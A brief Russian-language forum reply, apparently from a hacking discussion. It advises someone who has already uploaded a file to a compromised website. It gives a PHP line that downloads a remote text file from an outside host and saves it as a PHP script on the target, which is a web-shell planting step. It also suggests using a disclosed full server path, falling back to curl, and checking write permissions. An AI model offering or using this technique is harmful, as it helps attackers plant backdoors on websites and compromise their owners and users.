copy('http://site.ru/s.txt','s.php'); нужно

Нужно прописать полный путь, если есть раскрытие путей, посмотри, и пробуй полный путь прописать. /var/www/site-ru/data не похоже на полный путь до сайта, хотя не уверен.

Ну на крайняк

Если file_get_contents не сработает пробуй курл, и если уже записался в какую либо диру то права есть, phpinfo() я так понял из залитого файла выводишь?